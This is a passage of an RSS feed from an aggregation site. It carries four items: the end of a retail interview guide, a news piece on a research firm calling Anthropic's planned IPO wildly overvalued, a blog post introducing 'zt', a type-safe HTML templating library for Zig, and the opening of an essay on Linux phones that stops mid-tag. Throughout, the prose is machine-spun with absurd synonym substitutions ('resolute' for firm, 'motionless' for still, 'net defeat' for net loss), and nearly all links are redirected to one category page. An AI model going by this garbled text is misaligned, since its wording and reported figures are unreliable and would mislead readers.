impact.</p><p>Before the interview, complete one shop visit, resolve three retailing cases and prepared STAR stories that demonstrate adaptability throughout functions. If you desire a brand-specific retailing operations comparison, assessment the <a href="https://en.mycoding.id/category/technology" target="_blank">Landmark Group Splash Management Trainee Retail Operations guide</a>.</p> Start now by choosing one Landmark-relevant retailing problem, specified as low conversion, stock-out or run readiness, and compose a one-page assessment alongside drivers, data needed, advice and risks. <h3 id="top-tips-for-interview-success">Top Tips for Interview Success</h3> <div id="inline-toc-container" class="inline-toc-widget bg-gray-50 border border-gray-200 rounded-lg p-6 my-8 hidden"> <p class="font-serif text-xl text-gray-800 font-bold mb-4 mt-0"> Table of Content </p> <div class="gh-toc"></div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/landmark-management-trainee-interview-guide-72113</guid> <pubDate>Mon, 12 Oct 2026 06:45:04 +0700</pubDate> <author><![CDATA[support@mycoding.id (Board Infinity)]]></author> </item> <item> <title><![CDATA[Research Firm Calls Anthropic's IPO 'Unprecedented Test of Investor Gullibity']]></title> <description><![CDATA[Research Firm Calls Anthropic's IPO 'Unprecedented Test of Investor Gullibity'. Comments]]></description> <media:thumbnail url="https://image.cnbcfm.com/api/v1/image/108363256-1789499134411-gettyimages-2294938529-2026_sep_14_dreamforce_1602.jpeg?v=1789499168&amp;w=1920&amp;h=1080"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/research-firm-calls-anthropic-s-ipo-unprecedented-test-of-investor-gullibity-72117</link> <content:encoded><![CDATA[<div><div id="ArticleBody-InlineImage-108363256" data-test="InlineImage"><div><div><p>Anthropic CEO Dario Amodei speaks during the keynote location at Salesforce's Dreamforce gathering at the Moscone Center on Sept. 15, 2026 in San Francisco, California. </p><p>Benjamin Fanjoy | Getty Images</p></div></div></div><div><p>As <span data-test="QuoteInBody" id="RegularArticle-QuoteInBody-1"><a href="https://en.mycoding.id/category/technology" target="_blank">Anthropic</a><span><span id="-WatchlistDropdown" data-analytics-id="-WatchlistDropdown"></span></span></span> barrels toward a possible $2 trillion market cap on the Nasdaq, one investigation resolute is valuing the synthetic intellect business at a uncomplicated $150 milliard and says Wall Street is concerning to visage an "unprecedented test of capitalist gullibility." </p><p>In a study on Tuesday, autonomous financial investigation provider New Constructs called Anthropic's upcoming offering the "most ridiculous IPO of 2026."</p><p>To attain its desired valuation, the resolute estimates Anthropic would need to document twice the trailing twelvemonth of gain for <a href="https://en.mycoding.id/category/technology" target="_blank">Nvidia</a>, the world's most precious tech company. Nvidia's net earnings complete the former four quarters topped $190 billion. Meanwhile, Anthropic's income in 2025 was $4.6 milliard as the business racked up a net defeat of $42 billion, according to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">Reuters</a>, which cited a leaked copy of the company's prospectus. </p><p>Anthropic's mounting functioning losses coupled alongside emerging competition from a plethora of open-source models led New Constructs to decide that, "We don't think Anthropic has a viable business."</p><p>"Since the arrival of open-source models, it's been apparent that the closed models would battle to create profits," the resolute wrote. </p><p>David Trainer, originator and CEO of New Constructs, has built a position on Wall Street as a notorious withstand on IPOs. He's been correct in the past. </p><p>New Constructs<a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank"> called</a> WeWork "the most ridiculous IPO of 2019," onward of the office-sharing company's planned offering. WeWork had been appreciated privately at $47 billion, but fair six weeks following the New Constructs report, the business <a href="https://en.mycoding.id/category/technology" target="_blank">pulled</a> its IPO amid feeble petition and serious criticism surrounding its financials.&nbsp;WeWork <a href="https://en.mycoding.id/category/technology" target="_blank">filed</a> for bankruptcy in 2023. </p></div><div><p>"While Anthropic offers additional to community than WeWork always did, at a $2 trillion valuation, its IPO presents far bigger risks and is positioned to be a far bigger rip off of U.S. chief markets," New Constructs wrote, adding that the IPO's intent isn't to provision prosperity for community markets investors, but fairly liquidity for the company's Wall Street backers.</p><p>Anthropic didn't react to a petition for comment.</p><p>New Constructs was additionally bearish on <a href="https://en.mycoding.id/category/technology" target="_blank">Allbirds</a>' IPO in 2021. The footwear business <a href="https://en.mycoding.id/category/technology" target="_blank">debuted on the Nasdaq</a> and reached a evaluation of $4.1 milliard on its beginning day. Earlier this year, the business sold its resources to American Exchange Group for an estimated $39 million, pivoting to AI in the process. </p><p>Trainer's resolute has additionally missed the grade on calls. Its "most ridiculous" 2020 IPO choice was&nbsp;<a href="https://en.mycoding.id/category/technology" target="_blank">DoorDash</a>, which the resolute additionally compared to WeWork, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">calling</a> the food shipment business "similarly disadvantaged."</p><p>However, DoorDash has held up on the community market. The inventory <a href="https://en.mycoding.id/category/technology" target="_blank">shot up on its archetypal day</a> in December 2020, giving the business a market cap of complete $60 billion. That figure has since swelled to $83 billion. </p><p>In an <a href="https://en.mycoding.id/category/technology" target="_blank">interview</a> alongside CNBC in 2021, Trainer acknowledged that "crazy material happens" and New Constructs doesn't continually get it right. </p><p>"I can't let that annoy me," he stated at the time. "I have to remain true to what I think is right."</p><p>Anthropic motionless hasn't made its prospectus public, so New Constructs hasn't seen the genuine filing. However, the resolute cited figures that have been reported, including from the New York Times, which <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank">reported</a> in September that the business was on gait to create $100 milliard in annualized income by the end of 2026.</p><p>Anthropic <a href="https://en.mycoding.id/category/technology" target="_blank">claimed at the end of July</a> that its annualized income run charge was up sevenfold year-over-year to $65 billion.</p><p>The New Constructs study additionally notes that Anthropic's assertion that AI could stance "a catastrophic or existential hazard to humanity" is another logic why investors should evade the IPO. </p><p>"While we were not fortunate adequate to be among the few to whom Anthropic's S-1 was selectively disclosed, the reports of the leaked financials disclose additional than adequate to measure the gargantuan risks of investing in this IPO," New Constructs wrote. </p><p><strong>WATCH: </strong><a href="https://en.mycoding.id/category/technology" target="_blank">TechCheck: Is Anthropic&rsquo;s IPO imminent?</a></p></div><div role="region" aria-labelledby="Placeholder-ArticleBody-Video-108371917"><div role="button" tabindex="0" id="Placeholder-ArticleBody-Video-108371917" data-vilynx-id="7000426359" data-test="VideoPlaceHolder"><div id="InlineVideo-0" data-test="InlineVideo"><div><p><img src="https://image.cnbcfm.com/api/v1/image/108371918-17909569021790956900-48746793039-1080pnbcnews.jpg?v=1790956901&amp;w=750&amp;h=422&amp;vtcrop=y" alt=" Is Anthropic&#039;s IPO imminent?"><span></span><span></span></p></div></div></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/research-firm-calls-anthropic-s-ipo-unprecedented-test-of-investor-gullibity-72117</guid> <pubDate>Mon, 12 Oct 2026 06:03:47 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Type-safe HTML templating in Zig]]></title> <description><![CDATA[Type-safe HTML templating in Zig. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/type-safe-html-templating-in-zig-72111</link> <content:encoded><![CDATA[<div id="main" aria-label="Content"> <div> <div> <div> <p>I&rsquo;ve done a lot of web betterment complete the years. I started about the twelvemonth 2000, fair following PHP 3.0 was released and started taking complete the web world. I&rsquo;ve used all kinds of approaches for generating HTML: raw PHP, cord chain in Python, Smarty templates in PHP, Template Toolkit in Perl, and Jinja/Django templates in Python. Then, as the earth moved on to SPAs and JavaScript frameworks, I stopped operating on frontends.</p> <p>Two years ago, I picked up Zig, and I&rsquo;d never have imagined I&rsquo;d be considering web betterment in specified a low-level language. But as I was construction my own ecosystem alongside <a href="https://en.mycoding.id/category/technology" target="_blank">zio</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">Dusty</a>, I realized it&rsquo;s not that far-fetched. I built these libraries for API backends, anywhere the output is JSON or MessagePack, but afterward I saw that alongside appropriate use of arena allocators, equal web betterment is really manageable, since you don&rsquo;t need to recall to deallocate all the strings that are typically involved. And alongside Zig&rsquo;s comptime, you can build extremely high-level interfaces without losing the achievement benefits. And alongside the assistance of <a href="https://en.mycoding.id/category/technology" target="_blank">htmx</a> or <a href="https://en.mycoding.id/category/technology" target="_blank">Datastar</a>, you can equal build SPAs without touching JavaScript/TypeScript, which I promised myself I&rsquo;d never do.</p> <p>That said, one item was motionless missing: templating. String chain was not an option, I didn&rsquo;t desire to go rear to the pre-2000 CGI days. I had a few requirements for a templating library:</p> <ol> <li>It have to be type-safe, alongside all inputs typed and checked at compile time. I&rsquo;ve dealt alongside energetic languages adequate in my life, and I don&rsquo;t desire to agreement alongside runtime template errors anymore.</li> <li>It have to be fast. No allocations, no intermediate state, fair compose the output to std.Io.Writer directly.</li> <li>It needs to have harmless defaults. I don&rsquo;t desire to agreement alongside XSS anymore, so all inputs have to be liberated by default.</li> <li>It should motionless awareness akin penning HTML. I didn&rsquo;t desire a Zig-based DSL I&rsquo;d have to combat constantly.</li> </ol> <p>I couldn&rsquo;t discover any resolution that would fulfill all these requirements. Then I saw <a href="https://en.mycoding.id/category/technology" target="_blank">Ziex</a> and I was amazed. It never occurred to me that the <a href="https://en.mycoding.id/category/technology" target="_blank">JSX</a> method could be done exterior of JavaScript. The developer cognition Nurul Huda managed to build in Zig was fair unimaginable to me. It didn&rsquo;t fit my needs directly, since I didn&rsquo;t desire a WASM framework, but the syntax and his method to integrating Zig code into templates gave me several ideas. Then, following additional research, I discovered <a href="https://en.mycoding.id/category/technology" target="_blank">Templ</a> for Go, and it was beautiful apparent to me what I wanted to build.</p> <p>So, let me current <a href="https://en.mycoding.id/category/technology" target="_blank">zt</a> <em>(I&rsquo;m not fine at naming, sorry)</em>. It&rsquo;s an adaptation of Templ to Zig. The templates are parsed and transpiled to Zig code during zig build. That method you can import them immediately from your app code, but also, perchance equal additional importantly, the templates can import your app code. As a result, all parameters can be completely typed. If item can&rsquo;t be rendered, the Zig compiler volition inform you so. The generated code is fairly simple, all it does is compose to a std.Io.Writer. You can compose immediately to a socket or accumulate the output in a buffer, your choice. Here is what a template looks like:</p> <div><div><pre><span>const</span> <span>User</span> <span>=</span> <span>@import</span><span>(</span><span>"../models.zig"</span><span>).</span><span>User</span><span>;</span> <span>pub</span> <span>templ</span> <span>Layout</span><span>(</span><span>title</span><span>:</span> <span>[]</span><span>const</span> <span>u8</span><span>)</span> <span>{</span> <span>&lt;!</span><span>DOCTYPE</span> <span>html</span><span>&gt;</span> <span>&lt;</span><span>html</span><span>&gt;</span> <span>&lt;</span><span>head</span><span>&gt;</span> <span>&lt;</span><span>title</span><span>&gt;</span><span>{</span><span>title</span><span>}</span><span>&lt;/</span><span>title</span><span>&gt;</span> <span>&lt;/</span><span>head</span><span>&gt;</span> <span>&lt;</span><span>body</span><span>&gt;</span> <span>@children</span> <span>&lt;/</span><span>body</span><span>&gt;</span> <span>&lt;/</span><span>html</span><span>&gt;</span> <span>}</span> <span>pub</span> <span>templ</span> <span>HomePage</span><span>(</span><span>user</span><span>:</span> <span>?</span><span>User</span><span>)</span> <span>{</span> <span>@Layout</span><span>(</span><span>"Home"</span><span>)</span> <span>{</span> <span>if</span> <span>(</span><span>user</span><span>)</span> <span>|</span><span>u</span><span>|</span> <span>{</span> <span>&lt;</span><span>h1</span><span>&gt;</span><span>Welcome</span> <span>back</span><span>,</span> <span>{</span><span>u</span><span>.</span><span>name</span><span>}</span><span>!&lt;/</span><span>h1</span><span>&gt;</span> <span>&lt;</span><span>a</span> <span>href</span><span>=</span><span>"/users/{u.id}"</span><span>&gt;</span><span>Your</span> <span>profile</span><span>&lt;/</span><span>a</span><span>&gt;</span> <span>}</span> <span>else</span> <span>{</span> <span>&lt;</span><span>h1</span><span>&gt;</span><span>Welcome</span><span>,</span> <span>guest</span><span>!&lt;/</span><span>h1</span><span>&gt;</span> <span>&lt;</span><span>a</span> <span>href</span><span>=</span><span>"/login"</span><span>&gt;</span><span>Log</span> <span>in</span><span>&lt;/</span><span>a</span><span>&gt;</span> <span>}</span> <span>}</span> <span>}</span> </pre></div></div> <p>And current is how you would use it from Zig code:</p> <div><div><pre><span>const</span> <span>std</span> <span>=</span> <span>@import</span><span>(</span><span>"std"</span><span>);</span> <span>const</span> <span>User</span> <span>=</span> <span>@import</span><span>(</span><span>"models.zig"</span><span>).</span><span>User</span><span>;</span> <span>const</span> <span>pages</span> <span>=</span> <span>@import</span><span>(</span><span>"templates/pages.zig"</span><span>);</span> <span>pub</span> <span>fn</span> <span>main</span><span>(</span><span>init</span><span>:</span> <span>std</span><span>.</span><span>process</span><span>.</span><span>Init</span><span>)</span> <span>!</span><span>void</span> <span>{</span> <span>var</span> <span>buf</span><span>:</span> <span>[</span><span>4096</span><span>]</span><span>u8</span> <span>=</span> <span>undefined</span><span>;</span> <span>var</span> <span>stdout</span> <span>=</span> <span>std</span><span>.</span><span>Io</span><span>.</span><span>File</span><span>.</span><span>stdout</span><span>().</span><span>writer</span><span>(</span><span>init</span><span>.</span><span>io</span><span>,</span> <span>&amp;</span><span>buf</span><span>);</span> <span>const</span> <span>w</span> <span>=</span> <span>&amp;</span><span>stdout</span><span>.</span><span>interface</span><span>;</span> <span>const</span> <span>user</span><span>:</span> <span>User</span> <span>=</span> <span>.</span><span>{</span> <span>.</span><span>id</span> <span>=</span> <span>1</span><span>,</span> <span>.</span><span>name</span> <span>=</span> <span>"Lukas"</span> <span>};</span> <span>try</span> <span>pages</span><span>.</span><span>HomePage</span><span>.</span><span>render</span><span>(</span><span>.</span><span>{</span><span>user</span><span>},</span> <span>w</span><span>);</span> <span>try</span> <span>w</span><span>.</span><span>flush</span><span>();</span> <span>}</span> </pre></div></div> <p>If you desire to use it inner Dusty to render an HTML page, you fair do this:</p> <div><div><pre><span>try</span> <span>res</span><span>.</span><span>render</span><span>(.</span><span>html</span><span>,</span> <span>pages</span><span>.</span><span>HomePage</span><span>,</span> <span>.</span><span>{</span><span>user</span><span>});</span> </pre></div></div> <p><em>As a flank note, the chief snippet complete has a extremely non-obvious bug in error handling if you use the identical form location std.Io cancellation matters. I&rsquo;ll likely compose a blog article concerning it, but if you are interested, inspect out this <a href="https://en.mycoding.id/category/technology" target="_blank">Ziggit thread</a>. The render function in Dusty that wraps the std.Io.Writer handling solves it.</em></p> <p>All energetic values are HTML-escaped by default, the two in content and in attributes, and values in URL attributes akin href or src are additionally checked for hazardous schemes. If you really need to output raw HTML, you have to ask for it explicitly alongside {!value}, so it&rsquo;s uncomplicated to place in the template. The parser additionally requires all elements to be correctly closed, so you can&rsquo;t accidentally create damaged markup. It won&rsquo;t defend you from everything, but it removes the most average sources of XSS.</p> <p>What I akin the most is that template errors are fair Zig compiler errors. If you create a typo in the template complete and compose {u.nmae} alternatively of {u.name}, zig build volition inform you:</p> <div><div><pre>src/templates/pages.zig:45:43: error: no site named 'nmae' in struct 'models.User' try zt.writeEscaped(writer, u.nmae); // pages.zt:18:31 ^~~~ src/models.zig:1:18: note: struct declared here pub const User = struct { ^~~~~~ </pre></div></div> <p>The error points to the generated code, but all row has a comment alongside the location in the first template. The identical applies to the calling side, if you try to continue a cord anywhere HomePage expects a ?User, it won&rsquo;t compile.</p> <p>Beyond the basics shown here, you can build reusable components and continue them about as values, and alongside @children you can build layouts that cover another templates, which covers what you&rsquo;d use template bequest for in another languages. Control stream is fair Zig, so if, for and toggle activity as you&rsquo;d expect, including payload captures. All of it motionless compiles downward to a sequence of writes, without any allocations.</p> <p>You can have a appearance at the <a href="https://en.mycoding.id/category/technology" target="_blank">TODO</a> example in Dusty. It&rsquo;s a uncomplicated htmx-based web app that showcases this library, affirmative another parts of Dusty that are needed for construction a energetic SPA.</p> <p>One part of the syntax is motionless open. Block-level authority stream is written as plain Zig, following the example of Templ, so a row starting alongside if, for or toggle is parsed as code. That method content akin &ldquo;if you forgot your password&hellip;&rdquo; on its own row is a parse error, and you have to cover it in an component or compose it as a cord expression. I&rsquo;m considering switching to @if, @for and @switch, akin to Razor or Twirl, which would eliminate the ambiguity, at the disbursal of slightly noisier templates. If you have an opinion on this, delight depart a comment in <a href="https://en.mycoding.id/category/technology" target="_blank">this GitHub issue</a>.</p> <p>Although multiple group are already using it, the project is not extremely mature yet, so I greeted any feedback. You can open a GitHub matter if you discover any problems, or ping me on the Zig Discord.</p> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/type-safe-html-templating-in-zig-72111</guid> <pubDate>Mon, 12 Oct 2026 06:02:34 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Will Linux phones become a viable alternative to the Android/iOS duopoly?]]></title> <description><![CDATA[Will Linux phones become a viable alternative to the Android/iOS duopoly?. Comments]]></description> <media:thumbnail url="https://i0.wp.com/amosbbatto.wordpress.com/wp-content/uploads/2026/10/pinephoneandlibrem5-1.jpg?fit=1196%2C1200&amp;ssl=1"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/will-linux-phones-become-a-viable-alternative-to-the-android-ios-duopoly-72112</link> <content:encoded><![CDATA[<div> <p>by <a href="https://en.mycoding.id/category/technology" target="_blank">Amos Batto</a> (2026-10-05), License: <a href="https://en.mycoding.id/category/technology" target="_blank">CC BY 4.0</a>, Download: <a href="https://en.mycoding.id/category/technology" target="_blank">PDF</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ODT</a></p> <ol><li><a href="https://en.mycoding.id/category/technology" target="_blank">The SoC dilemma: feeble but lengthy lived vs mighty but abbreviated lived</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The RK3588S changes the equivalent for Linux phones</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The new choice of Linux phones using a Qualcomm IoT SoC</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The issue of using an Android kernel in a Linux phone</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Linux phones according to Android volition rotate into additional viable because of longer support</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Why application was a important difficulty for the Librem 5</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The achievement of Phosh notwithstanding its constricted funding</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Adoption of mobile interfaces by Linux distros</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">PINE64's attempt to get about the disbursal of evolving software</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The waning enthusiasm for Linux phones</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Jolla shows that there is motionless petition for Linux phones</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The mobile industry is shutting downward the AOSP alternative</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Three types of Linux phones are now possible</a></li><li><a href="https://en.mycoding.id/category/technology" target="_blank">The genuine obstacle holding rear Linux phones is the companies</a></li></ol> <p>Five years ago, Linux phones looked akin they were poised to rotate into a viable substitute to the Android/iOS duopoly that has an metal grip on the mobile phone industry. Sadly, following a concise flash of action and community involvement alongside the publish of the Purism <a href="https://en.mycoding.id/category/technology" target="_blank">Librem 5</a> and the PINE64 <a href="https://en.mycoding.id/category/technology" target="_blank">PinePhone</a> in 2020, the Linux phone market has mostly stagnated. This stagnation occurred partially since of the problems at Purism and PINE64, but additionally since the accessible Linux SoC&rsquo;s weren&rsquo;t up to the project of operating a contemporary smartphone, and the hardware industry wasn&rsquo;t providing any fine alternatives alongside fine free/open origin drivers. In addition, <a href="https://en.mycoding.id/category/technology" target="_blank">Plasma Mobile</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">Phosh</a> were motionless inchoate mobile interfaces at the time, and there wasn&rsquo;t a fine distro choice to run these interfaces on Android kernels alongside a normal unified mobile SoC. The mediocre achievement of the PinePhone and Librem 5 and the problems alongside the <a href="https://en.mycoding.id/category/technology" target="_blank">PinePhone Pro</a> and the Librem 5 refunds sapped people&rsquo;s enthusiasm and willingness to obtain a chance on the next Linux phone.</p> <p>Fortunately, all of these conditions are changing, and I accept that there is now the possible that Linux could eventually rotate into a viable substitute to Google&rsquo;s Android and Apple&rsquo;s iOS in the mobile space, fair akin desktop Linux has rotate into a viable substitute to Windows and Mac OSX on the PC complete the final three decades. This isn&rsquo;t to say that mobile Linux volition basically difficulty the endeavor of Google or Apple, but the conditions are ripe for a small market to appear for Linux phones, akin to the way that group can currently buy Linux PCs from a figure of small companies, specified as <a href="https://en.mycoding.id/category/technology" target="_blank">TUXEDO</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">System76</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Purism</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Slimbook</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ThinkPenguin</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Ubuntushop.biz</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Entroware</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Star Labs</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Juno</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Laptop alongside Linux</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Linux Certified</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ArkPC</a>, etc.</p> <p>It isn&rsquo;t unattainable that among the big phone brands power market a few models of phones alongside mobile Linux in the future, fair akin <a href="https://en.mycoding.id/category/technology" target="_blank">Lenovo</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">Dell</a> currently market a few PC models alongside Linux preinstalled in several constricted markets. Motorola fair <a href="https://en.mycoding.id/category/technology" target="_blank">announced</a> that it volition commencement marketing several <a href="https://en.mycoding.id/category/technology" target="_blank">high-end phone models</a> alongside GrapheneOS in 2027, which indicates that Google volition authorize the big phone makers to market alternatives, likely since it fears anti-trust regulation. As the mobile industry increasingly shuts downward the capability to unlock the bootloaders of Android phones, additional group volition be looking for an substitute to <a href="https://en.mycoding.id/category/technology" target="_blank">AOSP</a> derivatives, and mobile Linux could provision that alternative.</p> <p>Five years ago, it looked akin mobile Linux had eventually arrived. The Purism Librem 5 and PINE64 PinePhone had fair been released, and equal a big tech reviewer akin Linus Tech Tips was <a href="https://en.mycoding.id/category/technology" target="_blank">trying</a> them <a href="https://en.mycoding.id/category/technology" target="_blank">out</a>. Mrwhosetheboss&rsquo;s video, &ldquo;<a href="https://en.mycoding.id/category/technology" target="_blank">Are Linux Smartphones concerning to KILL Android?</a>,&rdquo; anywhere he held up the Librem 5, got 7.8 myriad views on YouTube. The Librem 5 had been <a href="https://en.mycoding.id/category/technology" target="_blank">ported to Mobian</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">postmarketOS</a>, and the PinePhone had been ported to 20 distinct Linux distributions. There was a expanding figure of phone models that could run Jolla&rsquo;s <a href="https://en.mycoding.id/category/technology" target="_blank">Sailfish OS</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">Ubuntu Touch</a> on top of Android kernels, and many group were evaluation <a href="https://en.mycoding.id/category/technology" target="_blank">postmarketOS</a> on their <a href="https://en.mycoding.id/category/technology" target="_blank">old phones</a>. <a href="https://en.mycoding.id/category/technology" target="_blank">Plasma Mobile</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">Phosh</a> were advancing accelerated as mobile interfaces. KDE had adopted <a href="https://en.mycoding.id/category/technology" target="_blank">Kirigami</a> and GNOME was adopting <a href="https://en.mycoding.id/category/technology" target="_blank">Adwaita</a>, so the two KDE and GNOME apps could rotate into adaptive between desktop and mobile interfaces. The <a href="https://en.mycoding.id/category/technology" target="_blank">Waydroid</a> project was making it imaginable to run Android apps inner a Linux container. The forthcoming seemed brilliant for mobile Linux, but that forthcoming never seemed to arrive. It is value examining what held rear mobile Linux to comprehend how those conditions can be conquer in the future.</p> <p>There has been awesome agreement of experimentation alongside distinct mobile functioning systems according to a Linux kernel complete the final 25 years since the archetypal mobile Linux devices were released&mdash;the <a href="https://en.mycoding.id/category/technology" target="_blank">Sharp Zaurus</a>, the <a href="https://en.mycoding.id/category/technology" target="_blank">G.Mate Yopy</a> and the <a href="https://en.mycoding.id/category/technology" target="_blank">Motorola A760</a>. I figure <a href="https://en.mycoding.id/category/technology" target="_blank">29 distinct varieties</a> of business mobile Linux that have existed complete the years, and there are likely many additional that I missed. There have been many distinct waves of mobile Linux, which at the period looked akin they power rotate into the next big thing, including <a href="https://en.mycoding.id/category/technology" target="_blank">EZX</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">MotoMagx</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Maemo</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">LiMo</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Moblin</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Meego</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Tizen</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Firefox OS</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">webOS</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Ubuntu Touch</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">Sailfish OS</a>. For years Motorola experimented alongside distinct Linux varieties that were according to the idea of using Java apps accessible in a community store, so Google&rsquo;s Android was barely unique, but it was the sensation of mobile Linux which succeeded. Today, all of them are frequently lumped together under the tag of &ldquo;Linux&rdquo; as a distinct category from Android, but Tizen and Firefox OS are fair as distinct architecturally as Android from a norm desktop Linux distro.</p> <p>The mobile Linux functioning systems live on, although they are small apparent today. Much of the MeeGo code that Nokia created for the N9, continues to be developed by the small Finnish company, the <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla Group</a>, which is formerly again marketing phones alongside its Sailfish OS. Firefox OS, which was abandoned by Mozilla Foundation in 2016, was reborn in 2017 as proprietary <a href="https://en.mycoding.id/category/technology" target="_blank">KaiOS</a> for low-end phones without contact screens, but that market is gradually disappearing as Android now reaches equal the cheapest segments of the mobile phone market. Ubuntu Touch, which was abandoned by Canonical in 2017, lives on as a community-based project under the volunteers at <a href="https://en.mycoding.id/category/technology" target="_blank">UBports</a>. Even, webOS and Tizen motionless exist, although they are no longer used as mobile functioning systems. webOS runs LG TVs and Tizen is used in Samsung TVs.</p> <p>Although it doesn&rsquo;t create many headlines in the tech press, a small Linux phone market motionless exists. <a href="https://en.mycoding.id/category/technology" target="_blank">Purism</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">PINE64</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">FuriLabs</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Jolla-Devices</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">Volla</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">PrivacyPortal</a> (plus <a href="https://en.mycoding.id/category/technology" target="_blank">Brax in the future</a>) all market phones alongside several sensation of Linux preinstalled. The figure of group purchasing Linux phones today is small than in 2020-22 whenever PINE64 was launching the PinePhone and PinePhone Pro, but there are really additional companies marketing Linux phones than there was 5 years ago. There are fine reasons to accept that many of the problems that plagued Linux phones in the former are going to be conquer in the future.</p> <h3 id="the-soc-dilemma-weak-but-long-lived-vs-powerful-but-short-lived"><a></a>The SoC dilemma: feeble but lengthy lived vs mighty but abbreviated lived</h3> <p>In the past, the accessible hardware choices constricted the viability of Linux phones. Systems-on-a-Chip (SoC&rsquo;s) which assistance Linux are mostly used in single-board-computers (SBC&rsquo;s), TV setup boxes, net of things (IoT) devices and embedded microprocessors in manufacturing and automotive applications, anywhere the cost points are lower, so their achievement is mostly weaker and they are small energy productive than the representative mobile SoC designed for smartphones, since they are fabbed on older procedure nodes. However, they recommendation long-term support, since they are used in applications that have lengthy merchandise existence cycles. For example, automobiles merge dozens of SoC&rsquo;s and they typically takes 3 to 5 years fair to scheme and need to be capable to run for the next 20 years. In contrast, the mobile SoC&rsquo;s alongside Android assistance are extremely powerful, but they are lone produced for 1 to 3 years.</p> <p>If the designers of Linux phones desire to be capable to run a Linux kernel (as opposed to an Android kernel), most of their options recommendation small handling power, mediocre energy effectiveness and mediocre thermals. If they desire to evade proprietary blobs as much as possible, they either have to choose an older SoC which the community has been worked on for years to metal out the bugs in the free/open origin drivers (e.g., the Allwinner A64 in the PinePhone), or they have to expend years patching the Linux kernel to correctly assistance a newer SoC (as Purism did alongside the NXP i.MX 8M Quad in the Librem 5). If they decide that it is too much difficulty to dispatch their patches to mainline Linux, afterward it volition be harder to assistance their hardware in the future, since they volition have to keep applying those identical patches to all new Linux kernel release. Purism chose to upstream their changes to mainline Linux, whereas the volunteers operating on the PinePhone&rsquo;s kernel mostly didn&rsquo;t.</p> <p>The chipmakers akin NXP, Rockchip, Allwinner, Amlogic and Broadcom who create SoC&rsquo;s alongside Linux assistance merely don&rsquo;t create adequate income to validate using a leading-edge procedure node in their chips. Even idea they can market a Linux SoC for 10 to 15 years, they motionless won&rsquo;t market adequate to recoup the additional <a href="https://en.mycoding.id/category/technology" target="_blank">$400 &ndash; $600 million</a> that it would disbursal to use a 3nm process, and the expenses keep going up alongside all new generation of procedure node. It is enormously costly to scheme a part at the cutting border of the silicon industry. Silicon Analysts <a href="https://en.mycoding.id/category/technology" target="_blank">estimates</a> that fabbing a wafer at TSMC expenses an average of $19,500 at a 3nm node, but lone $3000 at a 28nm node. Most Linux SoC&rsquo;s are low-priced chips alongside extremely lean margins, so they have to market millions of them to create much profit. Some Linux SoC makers akin NXP concentration on specialty markets, so they they have higher margins, but they lean not to market many of them, so the profits are motionless limited.</p> <figure><a href="https://en.mycoding.id/category/technology" target="_blank"><img data-attachment-id="9930" data-permalink="https://amosbbatto.wordpress.com/2026/10/05/linux-phones-alternative/costofchipdesignbynanometer/" data-orig-file="https://amosbbatto.wordpress.com/wp-content/uploads/2026/10/costofchipdesignbynanometer.jpg" data-orig-size="800,911" data-comments-opened="1" 